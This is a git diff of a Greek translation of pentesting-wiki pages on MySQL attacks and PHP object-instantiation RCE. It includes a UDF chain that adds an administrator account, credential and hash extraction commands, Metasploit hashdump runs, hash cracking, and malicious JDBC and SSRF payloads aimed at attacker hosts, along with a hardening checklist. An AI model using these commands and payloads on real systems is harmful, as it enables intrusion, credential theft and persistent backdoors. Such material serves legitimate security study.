**Εδώ θα βρείτε μια επισκόπηση της επίθεσης:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
**Εδώ μπορείτε να βρείτε μια επισκόπηση της επίθεσης:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
@ -177,14 +175,14 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=
|
|||||||
```
|
```
|
||||||
#### Επικίνδυνες Ρυθμίσεις του mysqld.cnf
|
#### Επικίνδυνες Ρυθμίσεις του mysqld.cnf
|
||||||
|
|
||||||
Στην ρύθμιση των υπηρεσιών MySQL, χρησιμοποιούνται διάφορες ρυθμίσεις για τον ορισμό της λειτουργίας και των μέτρων ασφαλείας της:
|
Στη διαμόρφωση των υπηρεσιών MySQL, χρησιμοποιούνται διάφορες ρυθμίσεις για να ορίσουν τη λειτουργία και τα μέτρα ασφαλείας της:
|
||||||
|
|
||||||
- Η ρύθμιση **`user`** χρησιμοποιείται για τον καθορισμό του χρήστη υπό τον οποίο θα εκτελείται η υπηρεσία MySQL.
|
- Η **`user`** ρύθμιση χρησιμοποιείται για τον καθορισμό του χρήστη υπό τον οποίο θα εκτελείται η υπηρεσία MySQL.
|
||||||
- Η ρύθμιση **`password`** χρησιμοποιείται για τον καθορισμό του κωδικού πρόσβασης του χρήστη MySQL.
|
- Η **`password`** εφαρμόζεται για την καθιέρωση του κωδικού πρόσβασης που συνδέεται με τον χρήστη MySQL.
|
||||||
- Η **`admin_address`** καθορίζει τη διεύθυνση IP που ακούει για TCP/IP συνδέσεις στη διαχειριστική δικτυακή διεπαφή.
|
- Η **`admin_address`** καθορίζει τη διεύθυνση IP που ακούει για TCP/IP συνδέσεις στη διαχειριστική δικτυακή διεπαφή.
|
||||||
- Η μεταβλητή **`debug`** υποδηλώνει τις τρέχουσες ρυθμίσεις αποσφαλμάτωσης, συμπεριλαμβάνοντας ευαίσθητες πληροφορίες στα logs.
|
- Η μεταβλητή **`debug`** υποδηλώνει τις υπάρχουσες ρυθμίσεις αποσφαλμάτωσης, συμπεριλαμβάνοντας ευαίσθητες πληροφορίες μέσα στα αρχεία καταγραφής.
|
||||||
- Η **`sql_warnings`** ρυθμίζει εάν παράγονται πληροφοριακές συμβολοσειρές για εντολές INSERT μίας γραμμής όταν προκύπτουν warnings, που μπορεί να περιέχουν ευαίσθητα δεδομένα στα logs.
|
- Η **`sql_warnings`** ελέγχει αν παράγονται πληροφοριακές συμβολοσειρές για εντολές INSERT μιας μόνο σειράς όταν προκύπτουν προειδοποιήσεις, οι οποίες μπορεί να περιέχουν ευαίσθητα δεδομένα στα αρχεία καταγραφής.
|
||||||
- Με την **`secure_file_priv`**, το εύρος των λειτουργιών εισαγωγής και εξαγωγής δεδομένων περιορίζεται για την αύξηση της ασφάλειας.
|
- Με την **`secure_file_priv`**, το πεδίο εφαρμογής των λειτουργιών εισαγωγής και εξαγωγής δεδομένων περιορίζεται για την ενίσχυση της ασφάλειας.
|
||||||
|
|
||||||
### Privilege escalation
|
### Privilege escalation
|
||||||
```bash
|
```bash
|
||||||
@ -206,16 +204,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
|||||||
```
|
```
|
||||||
### Privilege Escalation via library
|
### Privilege Escalation via library
|
||||||
|
|
||||||
Εάν ο **mysql server is running as root** (ή ένας άλλος χρήστης με περισσότερα προνόμια) μπορείς να τον κάνεις να εκτελεί εντολές. Για αυτό χρειάζεται να χρησιμοποιήσεις **user defined functions**. Και για να δημιουργήσεις μια user defined θα χρειαστείς μια **βιβλιοθήκη** για το OS που τρέχει το mysql.
|
Αν ο **mysql server is running as root** (ή ένας διαφορετικός χρήστης με περισσότερα προνόμια) μπορείς να τον κάνεις να εκτελέσει εντολές. Για αυτό χρειάζεται να χρησιμοποιήσεις **user defined functions**. Και για να δημιουργήσεις μια user defined function θα χρειαστείς μια **βιβλιοθήκη** για το OS που τρέχει το mysql.
|
||||||
|
|
||||||
Η κακόβουλη βιβλιοθήκη που θα χρησιμοποιήσεις μπορεί να βρεθεί μέσα στο sqlmap και μέσα στο metasploit τρέχοντας **`locate "*lib_mysqludf_sys*"`**. Τα αρχεία **`.so`** είναι βιβλιοθήκες **linux** και τα **`.dll`** είναι των **Windows**, διάλεξε αυτό που χρειάζεσαι.
|
Η κακόβουλη βιβλιοθήκη που θα χρησιμοποιήσεις μπορεί να βρεθεί μέσα στο sqlmap και στο metasploit εκτελώντας **`locate "*lib_mysqludf_sys*"`**. Τα **`.so`** αρχεία είναι βιβλιοθήκες **linux** και τα **`.dll`** είναι τα **Windows**, επίλεξε αυτό που χρειάζεσαι.
|
||||||
|
|
||||||
Αν **δεν έχεις** αυτές τις βιβλιοθήκες, μπορείς είτε να τις **αναζητήσεις**, είτε να κατεβάσεις αυτό το [**linux C code**](https://www.exploit-db.com/exploits/1518) και να το **μεταγλωττίσεις μέσα στην linux ευάλωτη μηχανή**:
|
Αν **δεν έχεις** αυτές τις βιβλιοθήκες, μπορείς είτε να **τις αναζητήσεις**, είτε να κατεβάσεις αυτό το [**linux C code**](https://www.exploit-db.com/exploits/1518) και να το **compile it inside the linux vulnerable machine**:
|
||||||
```bash
|
```bash
|
||||||
gcc -g -c raptor_udf2.c
|
gcc -g -c raptor_udf2.c
|
||||||
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
||||||
```
|
```
|
||||||
Τώρα που έχεις τη βιβλιοθήκη, κάνε login στο Mysql ως privileged user (root?) και ακολούθησε τα επόμενα βήματα:
|
Τώρα που έχετε τη βιβλιοθήκη, κάντε login στο Mysql ως προνομιούχος χρήστης (root?) και ακολουθήστε τα επόμενα βήματα:
|
||||||
|
|
||||||
#### Linux
|
#### Linux
|
||||||
```sql
|
```sql
|
||||||
@ -249,38 +247,38 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
|
|||||||
SELECT sys_exec("net user npn npn12345678 /add");
|
SELECT sys_exec("net user npn npn12345678 /add");
|
||||||
SELECT sys_exec("net localgroup Administrators npn /add");
|
SELECT sys_exec("net localgroup Administrators npn /add");
|
||||||
```
|
```
|
||||||
#### Συμβουλή για Windows: δημιουργία καταλόγων με NTFS ADS από SQL
|
#### Windows συμβουλή: δημιουργία καταλόγων με NTFS ADS από SQL
|
||||||
|
|
||||||
Σε NTFS μπορείτε να εξαναγκάσετε τη δημιουργία καταλόγων χρησιμοποιώντας ένα alternate data stream ακόμα κι όταν υπάρχει μόνο file write primitive. Αν η κλασική UDF chain περιμένει έναν κατάλογο `plugin` αλλά δεν υπάρχει και το `@@plugin_dir` είναι άγνωστο ή κλειδωμένο, μπορείτε να τον δημιουργήσετε πρώτα με `::$INDEX_ALLOCATION`:
|
Σε NTFS μπορείτε να εξαναγκάσετε τη δημιουργία καταλόγων χρησιμοποιώντας ένα alternate data stream ακόμη και όταν υπάρχει μόνο ένα file write primitive. Αν η κλασική UDF chain περιμένει έναν κατάλογο `plugin` αλλά δεν υπάρχει και το `@@plugin_dir` είναι άγνωστο ή κλειδωμένο, μπορείτε να τον δημιουργήσετε πρώτα με `::$INDEX_ALLOCATION`:
|
||||||
```sql
|
```sql
|
||||||
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
|
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
|
||||||
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
|
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
|
||||||
```
|
```
|
||||||
Αυτό μετατρέπει το περιορισμένο `SELECT ... INTO OUTFILE` σε ένα πιο πλήρες primitive σε Windows stacks, μέσω bootstrapping της δομής φακέλων που απαιτείται για UDF drops.
|
Αυτό μετατρέπει το περιορισμένο `SELECT ... INTO OUTFILE` σε ένα πιο πλήρες primitive σε Windows stacks, δημιουργώντας τη δομή φακέλων που απαιτείται για UDF drops.
|
||||||
|
|
||||||
### Εξαγωγή διαπιστευτηρίων MySQL από αρχεία
|
### Εξαγωγή MySQL credentials από αρχεία
|
||||||
|
|
||||||
Μέσα στο _/etc/mysql/debian.cnf_ μπορείτε να βρείτε τον **κωδικό πρόσβασης σε απλό κείμενο** του χρήστη **debian-sys-maint**
|
Μέσα στο _/etc/mysql/debian.cnf_ μπορείτε να βρείτε το **plain-text password** του χρήστη **debian-sys-maint**
|
||||||
```bash
|
```bash
|
||||||
cat /etc/mysql/debian.cnf
|
cat /etc/mysql/debian.cnf
|
||||||
```
|
```
|
||||||
Μπορείτε να **χρησιμοποιήσετε αυτά τα credentials για να συνδεθείτε στη βάση δεδομένων mysql**.
|
Μπορείτε να **χρησιμοποιήσετε αυτά τα credentials για να login στη βάση δεδομένων mysql**.
|
||||||
|
|
||||||
Μέσα στο αρχείο: _/var/lib/mysql/mysql/user.MYD_ μπορείτε να βρείτε **όλα τα hashes των MySQL χρηστών** (αυτά που μπορείτε να εξαγάγετε από mysql.user μέσα στη βάση δεδομένων)_._
|
Μέσα στο αρχείο: _/var/lib/mysql/mysql/user.MYD_ μπορείτε να βρείτε **όλους τους hashes των MySQL χρηστών** (αυτούς που μπορείτε να εξάγετε από mysql.user μέσα στη βάση δεδομένων)_._
|
||||||
|
|
||||||
Μπορείτε να τα εξαγάγετε κάνοντας:
|
Μπορείτε να τα εξάγετε κάνοντας:
|
||||||
```bash
|
```bash
|
||||||
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
|
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
|
||||||
```
|
```
|
||||||
### Ενεργοποίηση καταγραφής
|
### Ενεργοποίηση καταγραφής
|
||||||
|
|
||||||
Μπορείτε να ενεργοποιήσετε την καταγραφή των mysql queries μέσα στο `/etc/mysql/my.cnf` αποσχολιάζοντας τις παρακάτω γραμμές:
|
Μπορείτε να ενεργοποιήσετε την καταγραφή των mysql queries μέσα στο `/etc/mysql/my.cnf` ξεσχολιάζοντας τις παρακάτω γραμμές:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
### Χρήσιμα αρχεία
|
### Χρήσιμα αρχεία
|
||||||
|
|
||||||
Αρχεία ρυθμίσεων
|
Αρχεία διαμόρφωσης
|
||||||
|
|
||||||
- windows \*
|
- windows \*
|
||||||
- config.ini
|
- config.ini
|
||||||
@ -302,7 +300,7 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na
|
|||||||
- update.log
|
- update.log
|
||||||
- common.log
|
- common.log
|
||||||
|
|
||||||
## Προεπιλεγμένη Βάση Δεδομένων/Πίνακες MySQL
|
## Προεπιλεγμένες Βάσεις Δεδομένων/Πίνακες MySQL
|
||||||
|
|
||||||
{{#tabs}}
|
{{#tabs}}
|
||||||
{{#tab name="information_schema"}}
|
{{#tab name="information_schema"}}
|
||||||
@ -653,36 +651,36 @@ Note: sourced from https://github.com/carlospolop/legion
|
|||||||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||||||
|
|
||||||
```
|
```
|
||||||
## 2023-2025 Επισημάνσεις (νέο)
|
## 2023-2025 Σημαντικά σημεία (νέο)
|
||||||
|
|
||||||
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
|
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
|
||||||
Από το Connector/J <= 8.0.32, ένας επιτιθέμενος που μπορεί να επηρεάσει το **JDBC URL** (π.χ. σε τρίτου μέρους λογισμικό που ζητάει ένα connection string) μπορεί να αιτηθεί τη φόρτωση αυθαίρετων κλάσεων στην πλευρά του *client* μέσω της παραμέτρου `propertiesTransform`. Αν ένα gadget που υπάρχει στο class-path είναι φορτώσιμο, αυτό έχει ως αποτέλεσμα **remote code execution in the context of the JDBC client** (pre-auth, επειδή δεν απαιτούνται valid credentials). Ένα minimal PoC φαίνεται ως εξής:
|
Από Connector/J <= 8.0.32 ένας attacker που μπορεί να επηρεάσει το **JDBC URL** (π.χ. σε third-party software που ζητά ένα connection string) μπορεί να ζητήσει τη φόρτωση αυθαίρετων κλάσεων στην πλευρά του *client* μέσω της παραμέτρου `propertiesTransform`. Εάν ένα gadget που υπάρχει στο class-path είναι φορτώσιμο, αυτό έχει ως αποτέλεσμα **remote code execution in the context of the JDBC client** (pre-auth, γιατί δεν απαιτούνται έγκυρα credentials). Ένα ελάχιστο PoC μοιάζει ως εξής:
|
||||||
```java
|
```java
|
||||||
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
|
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
|
||||||
```
|
```
|
||||||
Running `Evil.class` can be as easy as producing it on the class-path of the vulnerable application or letting a rogue MySQL server send a malicious serialized object. The issue was fixed in Connector/J 8.0.33 – upgrade the driver or explicitly set `propertiesTransform` on an allow-list.
|
Η εκτέλεση του `Evil.class` μπορεί να είναι τόσο απλή όσο η τοποθέτησή του στο class-path της ευάλωτης εφαρμογής ή το να επιτρέψετε σε έναν rogue MySQL server να στείλει ένα κακόβουλο serialized object. Το πρόβλημα διορθώθηκε στο Connector/J 8.0.33 – αναβαθμίστε το driver ή ορίστε ρητά το `propertiesTransform` σε allow-list.
|
||||||
(See Snyk write-up for details)
|
(Δείτε το Snyk write-up για λεπτομέρειες)
|
||||||
|
|
||||||
### Rogue / Fake MySQL server attacks against JDBC clients
|
### Rogue / Fake MySQL server attacks against JDBC clients
|
||||||
Πολλά εργαλεία ανοιχτού κώδικα υλοποιούν ένα *μερικό* MySQL πρωτόκολλο για να επιτεθούν σε JDBC clients που συνδέονται προς τα έξω:
|
Πολλά open-source εργαλεία υλοποιούν ένα *partial* MySQL protocol προκειμένου να επιτεθούν σε JDBC clients που συνδέονται προς τα έξω:
|
||||||
|
|
||||||
* **mysql-fake-server** (Java, supports file read and deserialization exploits)
|
* **mysql-fake-server** (Java, υποστηρίζει ανάγνωση αρχείων και deserialization exploits)
|
||||||
* **rogue_mysql_server** (Python, similar capabilities)
|
* **rogue_mysql_server** (Python, παρόμοιες δυνατότητες)
|
||||||
|
|
||||||
Τυπικά μονοπάτια επίθεσης:
|
Τυπικά μονοπάτια επίθεσης:
|
||||||
|
|
||||||
1. Η εφαρμογή-θύμα φορτώνει `mysql-connector-j` με `allowLoadLocalInfile=true` ή `autoDeserialize=true`.
|
1. Η εφαρμογή θύμα φορτώνει `mysql-connector-j` με `allowLoadLocalInfile=true` ή `autoDeserialize=true`.
|
||||||
2. Ο επιτιθέμενος ελέγχει DNS / host entry έτσι ώστε το hostname της DB να επιλύεται σε μια μηχανή υπό τον έλεγχό του.
|
2. Ο attacker ελέγχει DNS / host entry έτσι ώστε το hostname της DB να επιλύεται σε μηχάνημα υπό τον έλεγχό του.
|
||||||
3. Ο κακόβουλος server απαντά με crafted packets που ενεργοποιούν είτε `LOCAL INFILE` arbitrary file read είτε Java deserialization → RCE.
|
3. Ο κακόβουλος server απαντά με επιμελημένα πακέτα που ενεργοποιούν είτε `LOCAL INFILE` arbitrary file read είτε Java deserialization → RCE.
|
||||||
|
|
||||||
Παράδειγμα one-liner για εκκίνηση ενός fake server (Java):
|
Example one-liner to start a fake server (Java):
|
||||||
```bash
|
```bash
|
||||||
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
|
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
|
||||||
```
|
```
|
||||||
Στη συνέχεια κατευθύνετε την εφαρμογή-θύμα στο `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` και διαβάστε `/etc/passwd` κωδικοποιώντας το όνομα αρχείου σε base64 στο *username* πεδίο (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
|
Στη συνέχεια, κατευθύνετε την εφαρμογή-θύμα στο `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` και διαβάστε το `/etc/passwd` κωδικοποιώντας το όνομα αρχείου σε base64 στο πεδίο *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
|
||||||
|
|
||||||
### Cracking `caching_sha2_password` hashes
|
### Σπάσιμο των `caching_sha2_password` hashes
|
||||||
MySQL ≥ 8.0 αποθηκεύει τα password hashes ως **`$mysql-sha2$`** (SHA-256). Και οι Hashcat (mode **21100**) και John-the-Ripper (`--format=mysql-sha2`) υποστηρίζουν offline cracking από το 2023. Εξάγετε τη στήλη `authentication_string` και τροφοδοτήστε την απευθείας:
|
MySQL ≥ 8.0 αποθηκεύει τα password hashes ως **`$mysql-sha2$`** (SHA-256). Τόσο το Hashcat (mode **21100**) όσο και το John-the-Ripper (`--format=mysql-sha2`) υποστηρίζουν offline cracking από το 2023. Εξάγετε τη στήλη `authentication_string` και τροφοδοτήστε την απευθείας:
|
||||||
```bash
|
```bash
|
||||||
# extract hashes
|
# extract hashes
|
||||||
echo "$mysql-sha2$AABBCC…" > hashes.txt
|
echo "$mysql-sha2$AABBCC…" > hashes.txt
|
||||||
@ -691,12 +689,12 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
|
|||||||
# John the Ripper
|
# John the Ripper
|
||||||
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
|
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
|
||||||
```
|
```
|
||||||
### Λίστα ελέγχου σκληροποίησης (2025)
|
### Λίστα ελέγχου ενίσχυσης ασφάλειας (2025)
|
||||||
• Ορίστε **`LOCAL_INFILE=0`** και **`--secure-file-priv=/var/empty`** για να απενεργοποιήσετε τις περισσότερες λειτουργίες ανάγνωσης/εγγραφής αρχείων.
|
• Set **`LOCAL_INFILE=0`** and **`--secure-file-priv=/var/empty`** για να απενεργοποιήσετε τις περισσότερες λειτουργίες ανάγνωσης/εγγραφής αρχείων.
|
||||||
• Αφαιρέστε το **`FILE`** privilege από λογαριασμούς εφαρμογών.
|
• Αφαιρέστε το προνόμιο **`FILE`** από τους λογαριασμούς των εφαρμογών.
|
||||||
• Στον Connector/J ορίστε `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (κενό).
|
• Στον Connector/J ορίστε `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (empty).
|
||||||
• Απενεργοποιήστε μη χρησιμοποιούμενα authentication plugins και **απαιτήστε TLS** (`require_secure_transport = ON`).
|
• Απενεργοποιήστε τα μη χρησιμοποιούμενα authentication plugins και **require TLS** (`require_secure_transport = ON`).
|
||||||
• Παρακολουθείτε για `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` και αιφνίδιες εντολές `SET GLOBAL`.
|
• Παρακολουθείτε για `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` και αιφνίδιες `SET GLOBAL` εντολές.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
@ -1,18 +1,18 @@
|
|||||||
# PHP - RCE εκμετάλλευση δημιουργίας αντικειμένου: new $_GET["a"]($_GET["b"])
|
# PHP - RCE κατάχρηση δημιουργίας αντικειμένων: new $_GET["a"]($_GET["b"])
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
Αυτό είναι βασικά μια σύνοψη του [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
|
Αυτό είναι ουσιαστικά μια περίληψη του [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
|
||||||
|
|
||||||
## Εισαγωγή
|
## Εισαγωγή
|
||||||
|
|
||||||
Η δημιουργία νέων αυθαίρετων αντικειμένων, όπως `new $_GET["a"]($_GET["a"])`, μπορεί να οδηγήσει σε απομακρυσμένη εκτέλεση κώδικα (Remote Code Execution, RCE), όπως περιγράφεται σε ένα [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Το έγγραφο αυτό τονίζει διάφορες στρατηγικές για την επίτευξη RCE.
|
Η δημιουργία νέων αυθαίρετων αντικειμένων, όπως `new $_GET["a"]($_GET["a"])`, μπορεί να οδηγήσει σε Remote Code Execution (RCE), όπως περιγράφεται σε ένα [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Αυτό το έγγραφο επισημαίνει διάφορες στρατηγικές για την επίτευξη RCE.
|
||||||
|
|
||||||
## RCE μέσω Προσαρμοσμένων Κλάσεων ή Autoloading
|
## RCE via Custom Classes or Autoloading
|
||||||
|
|
||||||
Η σύνταξη `new $a($b)` χρησιμοποιείται για να στιγμιοτυπήσει ένα αντικείμενο όπου **`$a`** αντιπροσωπεύει το όνομα κλάσης και **`$b`** είναι το πρώτο όρισμα που περνάει στον constructor. Αυτές οι μεταβλητές μπορούν να προέρχονται από εισόδους χρήστη όπως GET/POST, όπου μπορεί να είναι συμβολοσειρές ή πίνακες, ή από JSON, όπου μπορεί να εμφανίζονται ως άλλοι τύποι.
|
Η σύνταξη `new $a($b)` χρησιμοποιείται για να δημιουργήσει ένα αντικείμενο όπου **`$a`** αντιπροσωπεύει το όνομα κλάσης και **`$b`** είναι το πρώτο όρισμα που δίνεται στον constructor. Αυτές οι μεταβλητές μπορούν να προέλθουν από εισόδους χρήστη όπως GET/POST, όπου μπορεί να είναι strings ή arrays, ή από JSON, όπου μπορεί να εμφανίζονται ως άλλοι τύποι.
|
||||||
|
|
||||||
Σκεφτείτε το παρακάτω απόσπασμα κώδικα:
|
Εξετάστε το παρακάτω απόσπασμα κώδικα:
|
||||||
```php
|
```php
|
||||||
class App {
|
class App {
|
||||||
function __construct ($cmd) {
|
function __construct ($cmd) {
|
||||||
@ -33,7 +33,7 @@ new $a($b);
|
|||||||
```
|
```
|
||||||
Σε αυτή την περίπτωση, η ανάθεση του `$a` σε `App` ή `App2` και του `$b` σε μια εντολή συστήματος (π.χ. `uname -a`) έχει ως αποτέλεσμα την εκτέλεση αυτής της εντολής.
|
Σε αυτή την περίπτωση, η ανάθεση του `$a` σε `App` ή `App2` και του `$b` σε μια εντολή συστήματος (π.χ. `uname -a`) έχει ως αποτέλεσμα την εκτέλεση αυτής της εντολής.
|
||||||
|
|
||||||
**Autoloading functions** μπορούν να εκμεταλλευτούν αν δεν υπάρχουν τέτοιες κλάσεις άμεσα προσβάσιμες. Αυτές οι συναρτήσεις φορτώνουν αυτόματα κλάσεις από αρχεία όταν χρειάζεται και ορίζονται χρησιμοποιώντας `spl_autoload_register` ή `__autoload`:
|
**Συναρτήσεις αυτόματης φόρτωσης** μπορούν να εκμεταλλευτούν αν τέτοιες κλάσεις δεν είναι άμεσα προσβάσιμες. Αυτές οι συναρτήσεις φορτώνουν αυτόματα κλάσεις από αρχεία όταν χρειάζεται και ορίζονται χρησιμοποιώντας `spl_autoload_register` ή `__autoload`:
|
||||||
```php
|
```php
|
||||||
spl_autoload_register(function ($class_name) {
|
spl_autoload_register(function ($class_name) {
|
||||||
include './../classes/' . $class_name . '.php';
|
include './../classes/' . $class_name . '.php';
|
||||||
@ -45,55 +45,55 @@ include $class_name . '.php';
|
|||||||
|
|
||||||
spl_autoload_register();
|
spl_autoload_register();
|
||||||
```
|
```
|
||||||
Η συμπεριφορά του autoloading διαφέρει ανάλογα με τις εκδόσεις του PHP, προσφέροντας διαφορετικές δυνατότητες για RCE.
|
Η συμπεριφορά του autoloading διαφέρει ανάλογα με την έκδοση PHP, προσφέροντας διαφορετικές δυνατότητες RCE.
|
||||||
|
|
||||||
## RCE μέσω ενσωματωμένων κλάσεων
|
## RCE μέσω ενσωματωμένων κλάσεων
|
||||||
|
|
||||||
Ελλείψει custom classes ή autoloaders, οι **built-in PHP classes** μπορεί να είναι αρκετές για RCE. Ο αριθμός αυτών των κλάσεων κυμαίνεται από 100 έως 200, ανάλογα με την έκδοση του PHP και τα extensions. Μπορούν να απαριθμηθούν χρησιμοποιώντας `get_declared_classes()`.
|
Ελλείψει custom classes ή autoloaders, οι ενσωματωμένες κλάσεις PHP (built-in PHP classes) μπορεί να είναι αρκετές για RCE. Ο αριθμός αυτών των κλάσεων κυμαίνεται μεταξύ 100 και 200, ανάλογα με την έκδοση PHP και τα extensions. Μπορούν να απαριθμηθούν χρησιμοποιώντας `get_declared_classes()`.
|
||||||
|
|
||||||
Οι κατασκευαστές ενδιαφέροντος μπορούν να εντοπιστούν μέσω του reflection API, όπως φαίνεται στο παρακάτω παράδειγμα και στο σύνδεσμο [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
|
Οι constructors που είναι ενδιαφέροντες μπορούν να εντοπιστούν μέσω της reflection API, όπως φαίνεται στο παρακάτω παράδειγμα και στο link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
|
||||||
|
|
||||||
**RCE via specific methods includes:**
|
**RCE μέσω συγκεκριμένων μεθόδων περιλαμβάνει:**
|
||||||
|
|
||||||
### **SSRF + Phar Deserialization**
|
### **SSRF + Phar Deserialization**
|
||||||
|
|
||||||
Η κλάση `SplFileObject` επιτρέπει SSRF μέσω του constructor της, επιτρέποντας συνδέσεις σε οποιοδήποτε URL:
|
Η κλάση `SplFileObject` επιτρέπει SSRF μέσω του constructor της, επιτρέποντας συνδέσεις προς οποιοδήποτε URL:
|
||||||
```php
|
```php
|
||||||
new SplFileObject('http://attacker.com/');
|
new SplFileObject('http://attacker.com/');
|
||||||
```
|
```
|
||||||
Το SSRF μπορεί να οδηγήσει σε επιθέσεις αποσειριοποίησης σε εκδόσεις του PHP πριν από την 8.0 χρησιμοποιώντας το πρωτόκολλο Phar.
|
Το SSRF μπορεί να οδηγήσει σε deserialization attacks σε εκδόσεις του PHP πριν από την 8.0 χρησιμοποιώντας το πρωτόκολλο Phar.
|
||||||
|
|
||||||
### **Exploiting PDOs**
|
### **Εκμετάλλευση PDOs**
|
||||||
|
|
||||||
Ο constructor της κλάσης PDO επιτρέπει συνδέσεις σε βάσεις δεδομένων μέσω DSN strings, ενδεχομένως επιτρέποντας τη δημιουργία αρχείων ή άλλες αλληλεπιδράσεις:
|
Ο PDO class constructor επιτρέπει συνδέσεις σε βάσεις δεδομένων μέσω DSN strings, ενδεχομένως επιτρέποντας δημιουργία αρχείων ή άλλες αλληλεπιδράσεις:
|
||||||
```php
|
```php
|
||||||
new PDO("sqlite:/tmp/test.txt")
|
new PDO("sqlite:/tmp/test.txt")
|
||||||
```
|
```
|
||||||
### **SoapClient/SimpleXMLElement XXE**
|
### **SoapClient/SimpleXMLElement XXE**
|
||||||
|
|
||||||
Έκδοσεις του PHP μέχρι τις 5.3.22 και 5.4.12 ήταν ευάλωτες σε XXE επιθέσεις μέσω των constructors `SoapClient` και `SimpleXMLElement`, ανάλογα με την έκδοση του libxml2.
|
Οι εκδόσεις του PHP έως την 5.3.22 και την 5.4.12 ήταν ευάλωτες σε XXE επιθέσεις μέσω των constructors `SoapClient` και `SimpleXMLElement`, ανάλογα με την έκδοση του libxml2.
|
||||||
|
|
||||||
## RCE via Imagick Extension
|
## RCE via Imagick Extension
|
||||||
|
|
||||||
Στην ανάλυση των **project's dependencies** διαπιστώθηκε ότι η **Imagick** μπορούσε να αξιοποιηθεί για **command execution** μέσω της δημιουργίας νέων αντικειμένων. Αυτό δημιουργεί ευκαιρία για εκμετάλλευση ευπαθειών.
|
Κατά την ανάλυση των εξαρτήσεων του έργου, διαπιστώθηκε ότι η **Imagick** μπορούσε να αξιοποιηθεί για **command execution** με τη δημιουργία νέων αντικειμένων. Αυτό παρέχει δυνατότητα εκμετάλλευσης ευπαθειών.
|
||||||
|
|
||||||
### VID parser
|
### VID parser
|
||||||
|
|
||||||
